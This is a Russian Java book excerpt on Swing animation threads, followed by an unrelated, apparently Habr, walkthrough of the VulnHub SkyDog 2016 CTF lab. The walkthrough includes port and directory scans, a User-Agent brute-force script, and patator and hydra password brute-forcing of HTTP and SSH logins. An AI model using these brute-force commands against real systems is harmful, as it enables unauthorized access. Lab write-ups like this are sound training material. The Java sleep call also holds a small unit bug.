for (Apple a : apples) {
a.draw(g);
}
}
// Из класса Apple...
public void draw(Graphics g) {
// Выбрать красный цвет для яблока, а затем нарисовать его!
g.setColor(Color.RED);
g.fillOval(x, y, scaledLength, scaledLength);
}
```
Все просто. Сначала рисуется фоновое поле, потом физик, затем деревья и, наконец, яблоки. Такой порядок прорисовки гарантирует, что яблоки будут выводиться «поверх» всех остальных элементов. Класс Field переопределяет метод среднего уровня paintComponent(), доступный во всех графических элементах Swing для произвольной прорисовки, но эта тема будет рассматриваться в главе 10.
Давайте задумаемся над тем, что же изменяется на экране в ходе игры. В действительности имеются два «движущихся» элемента: яблоко, которым физик прицеливается с верха своей башни, и яблоки, летящие после броска. Мы знаем, что «анимация» прицеливания всего лишь реагирует на обновление фигуры физика при перемещении ползунка. Отдельной анимации тут не требуется. Таким образом, нам необходимо сосредоточиться только на обработке летящих яблок. Функция «следующего кадра» должна перемещать каждое активное яблоко под воздействием гравитации. Эта работа обеспечивается двумя методами. Исходные условия настраиваются в методе toss() в соответствии со значениями ползунков прицеливания и силы броска, а в методе step() выполняется перемещение яблока.
```
// Из класса Apple...
public void toss(float angle, float velocity) {
lastStep = System.currentTimeMillis();
double radians = angle / 180 * Math.PI;
velocityX = (float)(velocity * Math.cos(radians) / mass);
// Начинаем с отрицательного значения velocity,
// так как направлению вверх соответствуют меньшие значения y
velocityY = (float)(-velocity * Math.sin(radians) / mass);
}
public void step() {
// Проверяем, что перемещение вообще происходит; переменная
// lastStep используется в качестве сторожевого значения
if (lastStep > 0) {
// Применяем силу гравитации
long now = System.currentTimeMillis();
float slice = (now - lastStep) / 1000.0f;
velocityY = velocityY + (slice * Field.GRAVITY);
int newX = (int)(centerX + velocityX);
int newY = (int)(centerY + velocityY);
setPosition(newX, newY);
}
}
```
Итак, методы обновления яблок готовы. Их можно заключить в цикл анимации, который выполняет вычисления по обновлению, перерисовывает поле, делает паузу и повторяется.
```
public static final int STEP = 40; // Продолжительность кадра анимации
// в миллисекундах
// ...
class Animator implements Runnable {
public void run() {
// "animating" - это глобальная переменная, которая позволяет
// остановить анимацию и сэкономить ресурсы при отсутствии
// активных яблок, которые нужно перемещать
while (animating) {
System.out.println("Stepping " + apples.size() + " apples");
for (Apple a : apples) {
a.step();
detectCollisions(a);
}
Field.this.repaint();
cullFallenApples();
try {
Thread.sleep((int)(STEP * 1000));
} catch (InterruptedException ie) {
System.err.println("Animation interrupted");
animating = false;
}
}
}
}
```
Мы используем эту реализацию Runnable в простом потоке. Наш класс Field будет хранить экземпляр потока, и в него включен следующий простой метод запуска анимации:
```
Thread animationThread;
// ...
void startAnimation() {
animationThread = new Thread(new Animator());
animationThread.start();
}
```
При помощи событий пользовательского интерфейса, которые будут рассматриваться в разделе «События», с. 365, мы будем запускать яблоки по команде. Пока первое яблоко просто запускается в самом начале игры. Мы знаем, что скриншот на рис. 9.3 не очень впечатляет, но поверьте: в движении все выглядит просто потрясающе! :)
Смерть потоков
--------------
Поток продолжает выполняться до наступления одного из следующих событий:
* Он явно возвращает управление из своего целевого метода run().
* Он сталкивается с неперехваченным исключением времени выполнения.
* Вызывается нехороший и устаревший метод stop().
Что произойдет, если ни одно из этих событий не произойдет, а метод run() потока никогда не завершится? Такой поток будет продолжать свое существование даже после того, как создавшая его часть приложения завершится. А значит, мы должны следить за тем, чтобы все потоки в конечном итоге завершились. В ином случае в приложении могут остаться никому не принадлежащие потоки, которые будут без надобности поглощать ресурсы компьютера или поддерживать существование приложения, когда оно уже должно было завершиться.
Во многих случаях мы хотим создать фоновые потоки для выполнения простых периодических задач в приложении. При помощи метода setDaemon() можно пометить поток как поток-демон.Такой поток должен быть уничтожен, когда у приложения не останется ни одного потока, который бы не был демоном. Обычно интерпретатор Java продолжает работать до тех пор, пока все потоки не завершатся. Но когда остаются только потоки-демоны, интерпретатор завершается.
Пример использования потоков-демонов:
```
class Devil extends Thread {
Devil() {
setDaemon( true );
start();
}
public void run() {
// Разные демонические дела
}
}
```
В этом примере поток Devil устанавливает свой статус демона при создании. Если в тот момент, когда приложение в целом завершено, остаются какие-либо потоки Devil, исполнительная система уничтожит их за нас. Нам не нужно беспокоиться об их завершении.
Демоны в основном используются в автономных приложениях Java и в реализациях серверных фреймворков, но не в компонентных приложениях (в которых меньшие фрагменты кода выполняются внутри большего). Так как компоненты выполняются внутри другого приложения Java, все созданные ими потоки-демоны могут продолжить свое существование до выхода из управляющего приложения, — скорее всего, это не то, что вам нужно. В таких приложениях можно воспользоваться объектами ThreadGroup, которые содержат все потоки, создаваемые подсистемами или компонентами, а затем освобождают их при необходимости.
И последнее замечание по поводу корректного уничтожения потоков. Очень многие разработчики в своем первом приложении, использующем компонент Swing, сталкиваются с типичной проблемой: их приложение не завершается, а виртуальная машина Java продолжает «висеть», когда все уже завершено.
Java создает при работе с графикой GUI-поток (поток пользовательского интерфейса) для обработки событий ввода и прорисовки. GUI-поток не является демоном, поэтому он не завершается автоматически при завершении всех остальных потоков приложения и разработчик должен вызвать System.exit() явно. (И если подумать, это вполне логично, так как большинство GUI-приложений управляется событиями и просто ожидает ввода от пользователя, в ином случае они бы просто завершались после завершения их стартового кода.)
**Об авторах**
**Марк Лой (Marc Loy)** «подхватил вирус» Java в 1994 году после знакомства с бета-версией браузера HotJava, в которой крутилась анимация алгоритма сортировки. Разрабатывал и проводил обучающие курсы в Sun Microsystems, а впоследствии продолжал обучать намного более широкую аудиторию. Сейчас он занимается консультациями и написанием материалов по техническим и медийным темам. Также он исследует быстро растущий мир встраиваемой электроники и носимых устройств.
**Патрик Нимайер (Patrick Niemeyer)** начал участвовать в разработке языка Oak («предка» Java) во время работы в Southwestern Bell Technology Resources. В настоящее время является техническим директором Ikayzo, Inc., а также независимым консультантом и автором. Патрик создал BeanShell — популярный язык сценариев для Java. Он был участником нескольких экспертных групп JCP, которые руководили проектированием функциональности языка Java, и внес свой вклад во многие проекты с открытым кодом. В последнее время Патрик занимается разработкой аналитических программ для финансовой отрасли, а также современных мобильных приложений. Живет в Сент-Луисе с семьей и несколькими питомцами.
**Дэн Лук (Dan Leuck)** — исполнительный директор Ikayzo, Inc., компании интерактивного проектирования и разработки программного обеспечения с филиалами в Токио и Гонолулу (среди клиентов Ikayzo — Sony, Oracle, Nomura, PIMCO и федеральное правительство). Ранее работал вице-президентом по научным исследованиям и разработке в компании ValueCommerce (Токио), крупнейшей азиатской компании онлайн-маркетинга; руководителем по разработке в LastMinute.com (Лондон), крупнейшего европейского сайта B2C; президентом филиала DML в США. Дэн работал во многих консультативных советах и в комитетах компаний Macromedia и Sun Microsystems. Он является активным участником сообщества Java, работает над BeanShell, руководит проектом SDL и входит во многие экспертные группы Java Community Process.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/programmiruem-na-java-5-e-mezhd-izd):
» [Оглавление](https://www.piter.com/product/programmiruem-na-java-5-e-mezhd-izd#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/programmiruem-na-java-5-e-mezhd-izd#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — **Java** | https://habr.com/ru/post/700834/ | null | ru | null |
# VulnHub Разбор заданий с CTF SkyDog: 2016 — Catch Me If You Can
Продолжаем разбор лаб с [VulnHub](https://www.vulnhub.com/). На этот раз будем разбирать решение [CTF](https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/) с недавней конференции по информационной безопасности [SkyDog Con](http://www.skydogcon.com/).
### Начнём
Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а:
```
sudo nmap 192.168.1.174 -sV -sC -p1-65535
```
**Скрытый текст**
> Starting Nmap 7.01 ( [nmap.org](https://nmap.org) ) at 2016-12-18 19:39 MSK
>
> Nmap scan report for 192.168.1.174
>
> Host is up (0.00032s latency).
>
> PORT STATE SERVICE VERSION
>
> 22/tcp closed ssh
>
> 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
>
> |\_http-server-header: Apache/2.4.18 (Ubuntu)
>
> |\_http-title: SkyDog Con CTF 2016 — Catch Me If You Can
>
> 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
>
> |\_http-server-header: Apache/2.4.18 (Ubuntu)
>
> |\_http-title: 400 Bad Request
>
> | ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
>
> | Not valid before: 2016-09-21T14:51:57
>
> |\_Not valid after: 2017-09-21T14:51:57
>
> |\_ssl-date: TLS randomness does not represent time
>
> 22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
>
> | ssh-hostkey:
>
> | 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
>
> |\_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
>
> MAC Address: 08:00:27:D3:70:74 (Oracle VirtualBox virtual NIC)
>
> Device type: general purpose
>
> Running: Linux 3.X|4.X
>
> OS CPE: cpe:/o:linux:linux\_kernel:3 cpe:/o:linux:linux\_kernel:4
>
> OS details: Linux 3.10 — 4.1
>
> Network Distance: 1 hop
>
> Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
Нам доступны 3 порта SSH(22222), HTTP(80), HTTPS(443).
### Flag#1 — «Don’t go Home Frank! There’s a Hex on Your House»
Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность.
Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил:
```
sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f
```
Заглянув в код главной страницы видим следующее:
Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь */oldIE/html5.js*, находим ту самую HEX последовательность о которой говорилось в описании флага:
Декодируем, и получаем первый флаг: *flag{7c0132070a0ef71d542663e9dc1f5dee}*. Это md5 от *nmap*.
### Flag#2 — «Obscurity or Security? That is the Question»
Dirsearch выдал нам 403 на странице */personnel*. Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение:
> ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....
Попробовав изменить *User-Agent* в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root:
```
ssh root@192.168.1.174 -p 22222
```
Находим второй флаг: *Flag{53c82eba31f6d416f331de9162ebe997}*, в котором хеш от *encrypt*
### Flag#3 — «During his Travels Frank has Been Known to Intercept Traffic»
И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы.
Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта:
> ip.addr == 192.168.1.174
Переходим на *[192.168.1.174](https://192.168.1.174)*, кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика:
Флаг найден: *flag3{f82366a9ddc064585d54e3f78bde3221}*, это оказывается хеш от *personnel*
P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата:
**Скрытый текст**
### Flag#4 — «A Good Agent is Hard to Find»
Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу */personnel* требуется верный User-Agent, оказалось верным.
Скачиваем [список](https://raw.githubusercontent.com/Ejz/Common/master/ua/full.list) всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор.
```
import requests
import sys
url = 'http://192.168.1.174/personnel'
ua_file = sys.argv[1]
head = {'User-Agent':''}
bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....'
file = open(ua_file, 'r').read().splitlines()
for item in file:
head['User-Agent'] = item.strip()
req = requests.get(url, headers=head)
if req.text != bad_resp:
print('Found UA: %s' %(item))
print(req.text)
```
Результат не заставил себя долго ждать:
**Список найденых User-Agent строк**
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac\_68K)
>
> Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac\_PowerPC)
>
> Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 )
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
>
> Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
>
> Found UA: Mozilla/4.0 (Compatible; MSIE 4.0)
>
> Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98)
>
> Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT)
Судя по всему ФБР пользуется только MSIE 4.0 :) После замены в браузере User-Agent и перехода по ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг:
[md5online](http://www.md5online.org/) любезно сообщил что это хеш от *evidence*.
### Flag#5 — «The Devil is in the Details — Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices»
Рядом с флагом, можем наблюдать ещё одну подсказку это *newevidence*. А из описания флага следует, что нужно искать детали.
В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список:
> Manhattan
>
> Heidelbery
>
> Great American Masterpiece
>
> Miami
>
> July 16, 2009
>
> 617468
>
> inconsequential
>
> newevidence
>
> Hanratty
После долгих поисков по этим ключевым словам, можно наткнуться на [ссылку](http://www.spielberg-ocr.com/hanratty.html). Полистав её находим:
> Agent Carl Hanratty — герой произведения
>
> Catch Me If You Can — книга
>
> Miami — сцена 17 фильма
>
> Heidelberg — печатная машина из фильма
Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное:
Отлично мы нашли форму авторизации! У нас есть пользователь: *Carl Hanratty*, из названия флага можно предположить, что пароль, это что-то простое — личная информация.
Приступим к перебору. Сгенерив словарь вероятных логинов запускаем [patator](https://github.com/lanjelot/patator), скармливаем ему набор словарей [SecLists](https://github.com/danielmiessler/SecLists)
```
for item in $(find SecLists/ -name "*\.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done
```
И спустя некоторое время получаем исходную комбинацию:
> INFO — 200 1462:676 0.011 | carl.hanratty:Grace | 37586 | HTTP/1.1 200 OK
P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла.
После авторизации попадаем на страницу:
И перейдя по одной из ссылок находим флаг: *flag{117c240d49f54096413dd64280399ea9}*. После расшифровки, получаем слово: *panam*
### Flag#6 — «Where in the World is Frank?»
«Где Фрэнк?» — хм… Вернувшись на сайт видим ссылку *Possible Location*, перейдя по которой, нам открывается картинка:
**Скрытый текст**
Картинка довольно объёмная, что наводит на мысль, о том что в ней тут есть что-то ещё
```
sudo binwalk image.jpg
```
В картинке у нас индексный файл MyISAM на 2Мб. В сети можно найти [описание](https://dev.mysql.com/doc/internals/en/the-myi-file.html) формата этого файла. Изучив его, понимаем, что индексы MySQL не могут содержать искомый нами флаг. Далее предположив, что мы имеем дело со стеганографией, посмотрим на вывод *steghide*.
После выполнения команды, у нас появляется запрос пароля.
```
steghide info image.jpg
```
Хм, интересно, пробуем ввести *panam* получаем такой вывод:
> «image.jpg»:
>
> format: jpeg
>
> capacity: 230,1 KB
>
> Try to get information about embedded data? (y/n) y
>
> Enter passphrase:
>
> embedded file «flag.txt»:
>
> size: 71,0 Byte
>
> encrypted: rijndael-128, cbc
>
> compressed: yes
>
>
Извлекаем файл, в файле находим очередной флаг *flag{d1e5146b171928731385eb7ea38c37b8}* и новую подсказку: *clue=iheartbrenda*
### Flag#7 — «Frank Was Caught on Camera Cashing Checks and Yelling — I’m The Fastest Man Alive!»
Загуглив описание флага, можно найти отсылку к сериалу [FLASH](https://www.youtube.com/watch?v=8rrjSkGx4V0), а заглянув на [вики](https://en.wikipedia.org/wiki/Catch_Me_If_You_Can) узнаём следующее:
**Спойлер к фильму**
> Frank calls him, attempting to apologize for duping Carl. Carl rejects his apology and tells him he will soon be caught, but laughs when he realizes Frank actually called him because he has no one else to talk to. Frank hangs up, and Carl continues to investigate, suddenly realizing (thanks to a waiter) that the name «Barry Allen» is from the Flash comic books and that Frank is actually a teenager.
>
>
>
> Frank, meanwhile, has expanded his con to include the identities of a doctor and lawyer. While playing Dr. Frank Conners, he falls in love with Brenda (Amy Adams).
Но что могут значить эти подсказки? Вспомнив про забытый в самом начале ssh. Всё сразу начало сходиться. У нас есть 2 фразы *iheartbrenda* и *ILoveFrance*, и несколько новых имён:
**Генерим словарь**Даём на вход скрипту пары *Имя Фамилия*
> Frank Conners
>
> Barry Allen
>
> Carl Hanratty
```
#!/bin/bash
import sys
def Usage():
print('Usage: ./NtoL.py [namelist]')
exit(0)
if len(sys.argv) <= 1: Usage()
nameList = open(sys.argv[1]).read().splitlines()
out = open(sys.argv[1], 'w')
for item in nameList:
item = item.split(' ')
out.write( '%s%s\n' %(item[0], item[1]) )
out.write( '%s.%s\n' %(item[0], item[1]) )
out.write( '%s%s\n' %(item[0][0], item[1]) )
out.write( '%s.%s\n' %(item[0][0], item[1]) )
out.write( ('%s%s\n' %(item[0], item[1])).lower() )
out.write( ('%s.%s\n' %(item[0], item[1])).lower() )
out.write( ('%s%s\n' %(item[0][0], item[1])).lower() )
out.write( ('%s.%s\n' %(item[0][0], item[1])).lower() )
out.close()
```
На выходе получаем такой словарь логинов для перебора:
> CarlHanratty
>
> Carl.Hanratty
>
> CHanratty
>
> C.Hanratty
>
> carlhanratty
>
> carl.hanratty
>
> chanratty
>
> c.hanratty
>
> BarryAllen
>
> Barry.Allen
>
> BAllen
>
> B.Allen
>
> barryallen
>
> barry.allen
>
> ballen
>
> b.allen
>
> FrankConners
>
> Frank.Conners
>
> FConners
>
> F.Conners
>
> frankconners
>
> frank.conners
>
> fconners
>
> f.conners
Отправляем всё в Hydra и результат не заставляет себя долго ждать:
```
hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222
```
Входим, и сразу находим флаг:
После расшифровки флага получаем: *theflash*
### Flag#8 — «Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!»
В той же директории, в которой мы нашли флаг, есть подозрительный файл: *security-system.data*
Скачиваем его себе, для дальнейшего анализа:
```
scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./
```
И так перед нами архив, распаковываем его:
```
$ file security-system.data
security-system.data: Zip archive data, at least v2.0 to extract
$ 7z x -oSS security-system.data
$ cd ./SS
$ ls
security-system.data
$ file security-system.data
security-system.data: data
```
Формат не определился, зато размер 1Гб. *Binwalk* какой-либо вразумительной информации не дал, поэтому попробуем *volatility*:
```
volatility -f security-system.data imageinfo
```
> Volatility Foundation Volatility Framework 2.5
>
> INFO: volatility.debug: Determining profile based on KDBG search…
>
> Suggested Profile(s): WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
>
> AS Layer1: IA32PagedMemoryPae (Kernel AS)
>
> AS Layer2: FileAddressSpace (/CTF/VulnHub/SkyDog2016/SS/security-system.data)
>
> PAE type: PAE
>
> DTB: 0x33e000L
>
> KDBG: 0x80545b60L
>
> Number of Processors: 1
>
> Image Type (Service Pack): 3
>
> KPCR for CPU 0: 0xffdff000L
>
> KUSER\_SHARED\_DATA: 0xffdf0000L
>
> Image date and time: 2016-10-10 22:00:50 UTC+0000
>
> Image local date and time: 2016-10-10 18:00:50 -0400
Отлично, перед нами дамп памяти ОС WinXP. Начнём извлекать из него полезную информацию, и начнём с модуля *cmdline*, так как он первый в списке, и наиболее интересен:
```
volatility -f security-system.data --profile=WinXPSP2x86 cmdline
```
**cmdline**Volatility Foundation Volatility Framework 2.5
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
System pid: 4
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
smss.exe pid: 332
Command line: \SystemRoot\System32\smss.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
csrss.exe pid: 560
Command line: C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
winlogon.exe pid: 588
Command line: winlogon.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
services.exe pid: 664
Command line: C:\WINDOWS\system32\services.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
lsass.exe pid: 676
Command line: C:\WINDOWS\system32\lsass.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
vmacthlp.exe pid: 848
Command line: «C:\Program Files\VMware\VMware Tools\vmacthlp.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
svchost.exe pid: 860
Command line: C:\WINDOWS\system32\svchost -k DcomLaunch
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
svchost.exe pid: 944
Command line: C:\WINDOWS\system32\svchost -k rpcss
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
svchost.exe pid: 1040
Command line: C:\WINDOWS\System32\svchost.exe -k netsvcs
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
svchost.exe pid: 1092
Command line: C:\WINDOWS\system32\svchost.exe -k NetworkService
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
svchost.exe pid: 1144
Command line: C:\WINDOWS\system32\svchost.exe -k LocalService
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
explorer.exe pid: 1540
Command line: C:\WINDOWS\Explorer.EXE
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
spoolsv.exe pid: 1636
Command line: C:\WINDOWS\system32\spoolsv.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
VGAuthService.e pid: 1900
Command line: «C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
vmtoolsd.exe pid: 2012
Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe»
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
wmiprvse.exe pid: 488
Command line: C:\WINDOWS\system32\wbem\wmiprvse.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
wscntfy.exe pid: 536
Command line: C:\WINDOWS\system32\wscntfy.exe
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
alg.exe pid: 624
Command line: C:\WINDOWS\System32\alg.exe
